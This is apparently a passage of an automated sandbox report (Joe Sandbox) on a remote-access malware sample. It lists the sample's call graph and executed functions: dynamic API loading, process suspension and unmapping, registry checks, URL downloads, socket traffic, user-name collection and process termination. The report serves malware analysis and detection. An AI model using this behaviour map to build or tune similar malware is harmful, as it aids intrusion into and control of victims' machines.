48849->48851 48850 401fe2 28 API calls 48850->48856 48852 404ca8 48851->48852 48854 401fd8 11 API calls 48852->48854 48853 401fd8 11 API calls 48853->48856 48855 404cb1 48854->48855 48857 401fd8 11 API calls 48855->48857 48856->48845 48856->48847 48856->48848 48856->48850 48856->48853 48974 404cc3 48856->48974 48986 404b96 57 API calls 48856->48986 48858 404cba 48857->48858 48858->48175 48861 404e40 SetEvent CloseHandle 48860->48861 48862 404e57 closesocket 48860->48862 48863 404ed8 48861->48863 48864 404e64 48862->48864 48863->48168 48865 404e73 48864->48865 48866 404e7a 48864->48866 49073 4050e4 84 API calls 48865->49073 48868 404e8c WaitForSingleObject 48866->48868 48869 404ece SetEvent CloseHandle 48866->48869 48870 420ca0 3 API calls 48868->48870 48869->48863 48871 404e9b SetEvent WaitForSingleObject 48870->48871 48872 420ca0 3 API calls 48871->48872 48873 404eb3 SetEvent CloseHandle CloseHandle 48872->48873 48873->48869 48874->48168 48875->48168 48877->48202 48878->48175 48880 414dc8 GetSystemDirectoryA 48879->48880 48898 414ecf 48879->48898 48881 414de3 48880->48881 48880->48898 48900 441a3e 48881->48900 48883 414dff 48907 441a98 48883->48907 48885 414e0f LoadLibraryA 48886 414e31 GetProcAddress 48885->48886 48887 414e42 48885->48887 48886->48887 48888 414e3d FreeLibrary 48886->48888 48889 441a3e ___std_exception_copy 20 API calls 48887->48889 48890 414e93 48887->48890 48888->48887 48891 414e5e 48889->48891 48893 414e99 GetProcAddress 48890->48893 48896 414eb2 48890->48896 48890->48898 48892 441a98 20 API calls 48891->48892 48895 414e6e LoadLibraryA 48892->48895 48893->48890 48894 414eb4 FreeLibrary 48893->48894 48894->48896 48897 414e82 GetProcAddress 48895->48897 48895->48898 48896->48898 48897->48890 48899 414e8e FreeLibrary 48897->48899 48898->48718 48899->48890 48901 441a59 48900->48901 48902 441a4b 48900->48902 48914 4405dd 20 API calls _free 48901->48914 48902->48901 48905 441a70 48902->48905 48904 441a61 pre_c_initialization 48904->48883 48905->48904 48915 4405dd 20 API calls _free 48905->48915 48908 441ab4 48907->48908 48910 441aa6 48907->48910 48916 4405dd 20 API calls _free 48908->48916 48910->48908 48911 441add 48910->48911 48913 441abc pre_c_initialization 48911->48913 48917 4405dd 20 API calls _free 48911->48917 48913->48885 48914->48904 48915->48904 48916->48913 48917->48913 48918->48728 48923 40515c 102 API calls 48920->48923 48922 405159 48923->48922 48924->48755 48926 41e711 48925->48926 48927 420ca8 48925->48927 48928 41e71f 48926->48928 48937 41d85b DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48926->48937 48927->48747 48938 41e441 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48928->48938 48931 41e726 48932->48776 48933->48791 48934->48789 48935->48761 48937->48928 48938->48931 48939->48806 48943 414553 48940->48943 48944 414568 ___scrt_initialize_default_local_stdio_options 48943->48944 48947 43f79d 48944->48947 48950 43c4f0 48947->48950 48951 43c530 48950->48951 48952 43c518 48950->48952 48951->48952 48954 43c538 48951->48954 48965 4405dd 20 API calls _free 48952->48965 48955 43a7b7 __cftoe 36 API calls 48954->48955 48956 43c548 48955->48956 48966 43cc76 20 API calls 2 library calls 48956->48966 48957 43c51d pre_c_initialization 48959 434fcb _ValidateLocalCookies 5 API calls 48957->48959 48961 414576 48959->48961 48960 43c5c0 48967 43d2e4 51 API calls 3 library calls 48960->48967 48961->48168 48964 43c5cb 48968 43cce0 20 API calls _free 48964->48968 48965->48957 48966->48960 48967->48964 48968->48957 48970 441c94 48969->48970 48972 441ccb pre_c_initialization 48970->48972 48973 4405dd 20 API calls _free 48970->48973 48972->48813 48973->48972 48975 4020df 11 API calls 48974->48975 48984 404cde 48975->48984 48976 404e13 48977 401fd8 11 API calls 48976->48977 48978 404e1c 48977->48978 48978->48847 48979 4041a2 28 API calls 48979->48984 48980 401fe2 28 API calls 48980->48984 48981 401fc0 28 API calls 48983 404dad CreateEventA CreateThread WaitForSingleObject CloseHandle 48981->48983 48982 4020f6 28 API calls 48982->48984 48983->48984 48987 415aea 48983->48987 48984->48976 48984->48979 48984->48980 48984->48981 48984->48982 48985 401fd8 11 API calls 48984->48985 48985->48984 48986->48856 48988 4020f6 28 API calls 48987->48988 48989 415b0c SetEvent 48988->48989 48990 415b21 48989->48990 48991 4041a2 28 API calls 48990->48991 48992 415b3b 48991->48992 48993 4020f6 28 API calls 48992->48993 48994 415b4b 48993->48994 48995 4020f6 28 API calls 48994->48995 48996 415b5d 48995->48996 48997 41be1b 28 API calls 48996->48997 48998 415b66 48997->48998 48999 417089 48998->48999 49000 415b86 GetTickCount 48998->49000 49001 415d2f 48998->49001 49002 401e8d 11 API calls 48999->49002 49003 41bb8e 28 API calls 49000->49003 49001->48999 49064 415ce5 49001->49064 49004 417092 49002->49004 49005 415b97 49003->49005 49007 401fd8 11 API calls 49004->49007 49008 41bae6 GetTickCount 49005->49008 49009 41709e 49007->49009 49010 415ba3 49008->49010 49011 401fd8 11 API calls 49009->49011 49012 41bb8e 28 API calls 49010->49012 49013 4170aa 49011->49013 49014 415bae 49012->49014 49015 41ba96 30 API calls 49014->49015 49016 415bbc 49015->49016 49017 41bd1e 28 API calls 49016->49017 49018 415bca 49017->49018 49019 401e65 22 API calls 49018->49019 49020 415bd8 49019->49020 49066 402f31 28 API calls 49020->49066 49022 415be6 49067 402ea1 28 API calls 49022->49067 49024 415bf5 49025 402f10 28 API calls 49024->49025 49026 415c04 49025->49026 49068 402ea1 28 API calls 49026->49068 49028 415c13 49029 402f10 28 API calls 49028->49029 49030 415c1f 49029->49030 49069 402ea1 28 API calls 49030->49069 49032 415c29 49070 404aa1 61 API calls _Yarn 49032->49070 49034 415c38 49035 401fd8 11 API calls 49034->49035 49036 415c41 49035->49036 49037 401fd8 11 API calls 49036->49037 49038 415c4d 49037->49038 49039 401fd8 11 API calls 49038->49039 49040 415c59 49039->49040 49041 401fd8 11 API calls 49040->49041 49042 415c65 49041->49042 49043 401fd8 11 API calls 49042->49043 49044 415c71 49043->49044 49045 401fd8 11 API calls 49044->49045 49046 415c7d 49045->49046 49047 401f09 11 API calls 49046->49047 49048 415c86 49047->49048 49049 401fd8 11 API calls 49048->49049 49050 415c8f 49049->49050 49051 401fd8 11 API calls 49050->49051 49052 415c98 49051->49052 49053 401e65 22 API calls 49052->49053 49054 415ca3 49053->49054 49055 43baac _strftime 40 API calls 49054->49055 49056 415cb0 49055->49056 49057 415cb5 49056->49057 49058 415cdb 49056->49058 49060 415cc3 49057->49060 49061 415cce 49057->49061 49059 401e65 22 API calls 49058->49059 49059->49064 49071 404ff4 82 API calls 49060->49071 49063 404f51 105 API calls 49061->49063 49065 415cc9 49063->49065 49064->48999 49072 4050e4 84 API calls 49064->49072 49065->48999 49066->49022 49067->49024 49068->49028 49069->49032 49070->49034 49071->49065 49072->49065 49073->48866 49076 401f8e 49075->49076 49077 402252 11 API calls 49076->49077 49078 401f99 49077->49078 49078->48235 49078->48236 49078->48251 49079->48242 49080->48269 49081->48268 49082->48257 49083->48261 49084->48267 49085->48300 49090 40f7c2 49088->49090 49089 413549 3 API calls 49089->49090 49090->49089 49091 40f866 49090->49091 49093 40f856 Sleep 49090->49093 49110 40f7f4 49090->49110 49094 40905c 28 API calls 49091->49094 49092 40905c 28 API calls 49092->49110 49093->49090 49095 40f871 49094->49095 49098 41bc5e 28 API calls 49095->49098 49097 41bc5e 28 API calls 49097->49110 49099 40f87d 49098->49099 49123 413814 14 API calls 49099->49123 49102 401f09 11 API calls 49102->49110 49103 40f890 49104 401f09 11 API calls 49103->49104 49106 40f89c 49104->49106 49105 402093 28 API calls 49105->49110 49107 402093 28 API calls 49106->49107 49108 40f8ad 49107->49108 49111 41376f 14 API calls 49108->49111 49109 41376f 14 API calls 49109->49110 49110->49092 49110->49093 49110->49097 49110->49102 49110->49105 49110->49109 49121 40d096 112 API calls ___scrt_get_show_window_mode 49110->49121 49122 413814 14 API calls 49110->49122 49112 40f8c0 49111->49112 49124 412850 TerminateProcess WaitForSingleObject 49112->49124 49114 40f8c8 ExitProcess 49125 4127ee 62 API calls 49117->49125 49122->49110 49123->49103 49124->49114 49126 4269e6 49127 4269fb 49126->49127 49138 426a8d 49126->49138 49128 426b44 49127->49128 49129 426abd 49127->49129 49130 426b1d 49127->49130 49133 426af2 49127->49133 49134 426a48 49127->49134 49127->49138 49140 426a7d 49127->49140 49154 424edd 49 API calls _Yarn 49127->49154 49128->49138 49159 426155 28 API calls 49128->49159 49129->49133 49129->49138 49157 41fb6c 52 API calls 49129->49157 49130->49128 49130->49138 49142 425ae1 49130->49142 49133->49130 49158 4256f0 21 API calls 49133->49158 49134->49138 49134->49140 49155 41fb6c 52 API calls 49134->49155 49140->49129 49140->49138 49156 424edd 49 API calls _Yarn 49140->49156 49143 425b00 ___scrt_get_show_window_mode 49142->49143 49145 425b0f 49143->49145 49148 425b34 49143->49148 49160 41ebbb 21 API calls 49143->49160 49145->49148 49153 425b14 49145->49153 49161 4205d8 46 API calls 49145->49161 49148->49128 49149 425b1d 49149->49148 49168 424d05 21 API calls 2 library calls 49149->49168 49151 425bb7 49151->49148 49162 432ec4 49151->49162 49153->49148 49153->49149 49167 41da5f 49 API calls 49153->49167 49154->49134 49155->49134 49156->49129 49157->49129 49158->49130 49159->49138 49160->49145 49161->49151 49163 432ed2 49162->49163 49164 432ece 49162->49164 49165 43bd51 ___std_exception_copy 21 API calls 49163->49165 49164->49153 49166 432ed7 49165->49166 49166->49153 49167->49149 49168->49148 49169 434875 49174 434b47 SetUnhandledExceptionFilter 49169->49174 49171 43487a pre_c_initialization 49175 44554b 20 API calls 2 library calls 49171->49175 49173 434885 49174->49171 49175->49173 49176 415d06 49191 41b380 49176->49191 49178 415d0f 49179 4020f6 28 API calls 49178->49179 49180 415d1e 49179->49180 49202 404aa1 61 API calls _Yarn 49180->49202 49182 415d2a 49183 417089 49182->49183 49184 401fd8 11 API calls 49182->49184 49185 401e8d 11 API calls 49183->49185 49184->49183 49186 417092 49185->49186 49187 401fd8 11 API calls 49186->49187 49188 41709e 49187->49188 49189 401fd8 11 API calls 49188->49189 49190 4170aa 49189->49190 49192 4020df 11 API calls 49191->49192 49193 41b38e 49192->49193 49194 43bd51 ___std_exception_copy 21 API calls 49193->49194 49195 41b39e InternetOpenW InternetOpenUrlW 49194->49195 49196 41b3c5 InternetReadFile 49195->49196 49200 41b3e8 49196->49200 49197 4020b7 28 API calls 49197->49200 49198 41b415 InternetCloseHandle InternetCloseHandle 49199 41b427 49198->49199 49199->49178 49200->49196 49200->49197 49200->49198 49201 401fd8 11 API calls 49200->49201 49201->49200 49202->49182 49203 426c4b 49208 426cc8 send 49203->49208 49209 44375d 49210 443766 49209->49210 49211 44377f 49209->49211 49212 44376e 49210->49212 49216 4437e5 49210->49216 49214 443776 49214->49212 49227 443ab2 22 API calls 2 library calls 49214->49227 49217 4437f1 49216->49217 49218 4437ee 49216->49218 49228 44f3dd GetEnvironmentStringsW 49217->49228 49218->49214 49221 4437fe 49237 446782 20 API calls _free 49221->49237 49224 443833 49224->49214 49225 443809 49236 446782 20 API calls _free 49225->49236 49227->49211 49229 44f3f1 49228->49229 49230 4437f8 49228->49230 49231 446137 ___crtLCMapStringA 21 API calls 49229->49231 49230->49221 49235 44390a 26 API calls 3 library calls 49230->49235 49232 44f405 _Yarn 49231->49232 49238 446782 20 API calls _free 49232->49238 49234 44f41f FreeEnvironmentStringsW 49234->49230 49235->49225 49236->49221 49237->49224 49238->49234 49239 44831e 49247 448710 49239->49247 49242 448332 49244 44833a 49245 448347 49244->49245 49255 44834a 11 API calls 49244->49255 49248 4484ca pre_c_initialization 5 API calls 49247->49248 49249 448737 49248->49249 49250 44874f TlsAlloc 49249->49250 49251 448740 49249->49251 49250->49251 49252 434fcb _ValidateLocalCookies 5 API calls 49251->49252 49253 448328 49252->49253 49253->49242 49254 448299 20 API calls 3 library calls 49253->49254 49254->49244 49255->49242 49256 43be58 49258 43be64 _swprintf ___DestructExceptionObject 49256->49258 49257 43be72 49272 4405dd 20 API calls _free 49257->49272 49258->49257 49260 43be9c 49258->49260 49267 445888 EnterCriticalSection 49260->49267 49262 43be77 pre_c_initialization ___DestructExceptionObject 49263 43bea7 49268 43bf48 49263->49268 49267->49263 49269 43bf56 49268->49269 49271 43beb2 49269->49271 49274 44976c 37 API calls 2 library calls 49269->49274 49273 43becf LeaveCriticalSection std::_Lockit::~_Lockit 49271->49273 49272->49262 49273->49262 49274->49269 49275 41dfbd 49276 41dfd2 _Yarn ___scrt_get_show_window_mode 49275->49276 49278 432ec4 21 API calls 49276->49278 49288 41e1d5 49276->49288 49282 41e182 ___scrt_get_show_window_mode 49278->49282 49279 41e1e6 49280 41e189 49279->49280 49281 432ec4 21 API calls 49279->49281 49284 41e21f ___scrt_get_show_window_mode 49281->49284 49282->49280 49283 432ec4 21 API calls 49282->49283 49286 41e1af ___scrt_get_show_window_mode 49283->49286 49284->49280 49290 43354a 49284->49290 49286->49280 49287 432ec4 21 API calls 49286->49287 49287->49288 49288->49280 49289 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 49288->49289 49289->49279 49293 433469 49290->49293 49292 433552 49292->49280 49294 433482 49293->49294 49295 433478 49293->49295 49294->49295 49296 432ec4 21 API calls 49294->49296 49295->49292 49297 4334a3 49296->49297 49297->49295 49299 433837 CryptAcquireContextA 49297->49299 49300 433858 CryptGenRandom 49299->49300 49301 433853 49299->49301 49300->49301 49302 43386d CryptReleaseContext 49300->49302 49301->49295 49302->49301 49303 40165e 49304 401666 49303->49304 49306 401669 49303->49306 49305 4016a8 49307 4344ea new 22 API calls 49305->49307 49306->49305 49308 401696 49306->49308 49309 40169c 49307->49309 49310 4344ea new 22 API calls 49308->49310 49310->49309 49311 426bdc 49317 426cb1 recv 49311->49317

                                            Executed Functions

                                            Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                                            • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                                            • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                                            • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                                            • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                                            • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                                            • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                                            • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                                            • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                                            • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                                            • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                                            • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                                            • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                                            • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                                            • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                                            • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                                            • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                                            • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                                            • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                                            • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$LibraryLoad$HandleModule
                                            • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                            • API String ID: 4236061018-3687161714
                                            • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                            • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                                            • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                            • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                                            Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                                              • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                                              • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                                            • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                                            • ExitProcess.KERNEL32 ref: 0040F8CA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseExitOpenProcessQuerySleepValue
                                            • String ID: 5.1.0 Pro$override$pth_unenc
                                            • API String ID: 2281282204-182549033
                                            • Opcode ID: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                                            • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                                            • Opcode Fuzzy Hash: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                                            • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                                            Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,0084F898), ref: 00433849
                                            • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                                            • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Crypt$Context$AcquireRandomRelease
                                            • String ID:
                                            • API String ID: 1815803762-0
                                            • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                            • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                                            • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                            • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                                            Function 00448957 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                                            Strings
                                            • GetSystemTimePreciseAsFileTime, xrefs: 00448972
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$FileSystem
                                            • String ID: GetSystemTimePreciseAsFileTime
                                            • API String ID: 2086374402-595813830
                                            • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                                            • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                                            • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                                            • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                                            Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: NameUser
                                            • String ID:
                                            • API String ID: 2645101109-0
                                            • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                                            • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                                            • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                                            • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                                            Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled
                                            • String ID:
                                            • API String ID: 3192549508-0
                                            • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                            • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                                            • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                            • Instruction Fuzzy Hash:
                                            Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 102 40f34f-40f36a call 401fab call 4139a9 call 412475 69->102 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 88 40ec13-40ec1a 79->88 89 40ec0c-40ec0e 79->89 80->79 98 40ebec-40ec02 call 401fab call 4139a9 80->98 93 40ec1c 88->93 94 40ec1e-40ec2a call 41b2c3 88->94 92 40eef1 89->92 92->49 93->94 104 40ec33-40ec37 94->104 105 40ec2c-40ec2e 94->105 98->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 102->126 108 40ec76-40ec89 call 401e65 call 401fab 104->108 109 40ec39 call 407716 104->109 105->104 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 118 40ec3e-40ec40 109->118 121 40ec42-40ec47 call 407738 call 407260 118->121 122 40ec4c-40ec5f call 401e65 call 401fab 118->122 121->122 122->108 141 40ec61-40ec67 122->141 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 147 40ec71 call 407260 144->147 147->108 179 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->179 180 40ed8a-40ed91 177->180 178->177 203 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->203 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 179->234 182 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 180->182 183 40ee0f-40ee19 call 409057 180->183 193 40ee1e-40ee42 call 40247c call 434798 182->193 183->193 210 40ee51 193->210 211 40ee44-40ee4f call 436e90 193->211 203->177 217 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 210->217 211->217 271 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 217->271 286 40efc1 